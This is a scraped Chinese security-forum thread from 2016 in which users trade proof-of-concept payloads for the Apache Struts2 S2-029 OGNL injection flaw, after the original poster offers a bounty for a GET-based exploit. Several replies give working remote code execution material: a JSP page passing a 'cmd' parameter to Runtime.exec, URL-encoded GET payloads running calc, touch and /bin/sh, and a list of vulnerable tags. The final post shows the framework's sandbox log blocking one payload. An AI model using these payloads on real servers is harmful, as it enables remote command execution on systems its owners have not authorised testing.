您的位置:首页 > 其它

S2-029漏洞GET poc?? 悬赏 5 WB 20160320

2016-04-08 01:48 946 查看
有人类能print红色打码部分的内容吗?

javascript:void(0)



收藏感谢(0)
分享到:

0

16 个回复





1#
银冥币 (好好学习天天向上(号以借人,非本人使用))

|
2016-03-20 01:09

链接http://zhanghang.org/?p=84

POC

<%@page import="java.util.HashSet"%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ taglib prefix="s" uri="/struts-tags" %>

<html>

<head><title>s2-029</title></head>

<body>

<%

String cmd = request.getParameter("cmd");

request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('"+cmd+"'),new
java.lang.String('");

%>

<s:i18n name="%{#request.lan}">xyz</s:i18n>

</body>

</html>






2#
cf_hb (10000定律<=>实践ing)

|
2016-03-20 08:28

poc到处都可以找到了





3#
Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!)

|
2016-03-20 20:40

@银冥币 你发的这是本地验证的,我要的是图片中 get方法测试的poc。





4#
Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!)

|
2016-03-20 20:41

@cf_hb 本地验证的脚本,不能叫做poc。0.0





5# 感谢(1)

习总夸我好青年

|
2016-03-20 21:48

楼主 我也求一个





6#
cf_hb (10000定律<=>实践ing)

|
2016-03-20 22:31

@Viigoss 哈哈。。。本地自检自查poc?





7#
Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!)

|
2016-03-20 22:35

@cf_hb 不是么? 各种本地自查的poc被各种转发的很开心,然并卵。





8#
loopx9



|
2016-03-20 23:42

[link href="http://blog.nsfocus.net/struts-framework-s2-29-remote-code-execution-vulnerability/"]http://blog.nsfocus.net/struts-framework-s2-29-remote-code-execution-vulnerability/

[/link]

<s:set var="%{#parameters.tang3}"/>
 ' target='_blank'>http://localhost:8080/struts2-blank/example/HelloWorld.action?tang3=',%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D,new%20java.lang.ProcessBuilder('calc').start(),'[/code] 




9#
习总夸我好青年

|
2016-03-21 00:46

@loopx9 没法用啊!!!!大哥





10#
f4ckbaidu (wtf)

|
2016-03-21 08:55

你不知道标签name有卵用





11#
蝶离飞

|
2016-03-21 10:14

@Viigoss 你就觉得360的大牛不是在装逼??





12#
Hex (◐_◑)

|
2016-03-21 10:31

@习总夸我好青年

在tomcat中部署好struts2后

在\tomcat\webapps\struts2-blank\WEB-INF\jsp\example\HelloWorld.jsp中添加<s:set var="%{#parameters.tang3}"/>





然后启动tomcat,接着使用POC验证





13#
Hex (◐_◑)

|
2016-03-21 10:43

注视错了,随手打出了/*,请忽略 - -!





14#
三秋

|
2016-03-21 10:47

@Viigoss 看看这个地址http://zhanghang.org/?p=84

然后按照博客里的验证例子测试就明白了。

我测试过下面这些标签(也就是360打码的那一段),都是存在漏洞的。

<s:i18n name="%{#request.lan}">xxxxx</s:i18n>

<s:property value="%{#request.lan}"/>

<s:if test="%{#request.lan}">

nothing

</s:if>

<s:text name="%{#request.lan}" />






15#
三秋

|
2016-03-21 10:49

@三秋 当然 这个lan变量需要可控 才能利用,在不看源代码的情况下是看不到页面有没有用标签,标签中变量名。

所以这个漏洞危害大,但利用有条件限制。





16#
0c0c0f

|
2016-04-08 01:46

get形式的沙盒会拦截:

请求:
http://localhost:8081/example/HelloWorld.action?cmd=%23_memberAccess%5b%27allowPrivateAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowProtectedAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowPackageProtectedAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowStaticMethodAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27excludedPackageNamePatterns%27%5d%3d%23_memberAccess%5b%27acceptProperties%27%5d%2c%23_memberAccess%5b%27excludedClasses%27%5d%3d%23_memberAccess%5b%27acceptProperties%27%5d%2c%23a%3d%40java%2elang%2eRuntime%40getRuntime%28%29%2c%23a%2eexec%28%27touch%20%2ftmp%2ffuckxxx%27%29%2c%28new%20java%2elang%2eProcessBuilder%28new%20java%2elang%2eString%5b%5d%7b%27%2fbin%2fsh%27%2c%27-c%27%2c%27open%20%2fApplications%2fCalculator%2eapp%27%7d%29%29%2estart%28%29
拦截:

08-Apr-2016 01:24:57.108 WARNING [http-nio-8081-exec-2] com.opensymphony.xwork2.util.logging.jdk.JdkLogger.warn Parameter [#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch
/tmp/fuckxxx'),(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','open /Applications/Calculator.app'})).start()] matches excluded pattern [(^|.*#)(dojo|struts|session|request|application|servlet(Request|Response)|parameters|context|_memberAccess)(\.|\[).*]!

下面这个也会拦截

tang3=%27,%23_memberAccess%5B"excludedClasses"%5D%3D%7B1%7D,new%20java.lang.ProcessBuilder(%27calc%27).start(),%27
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: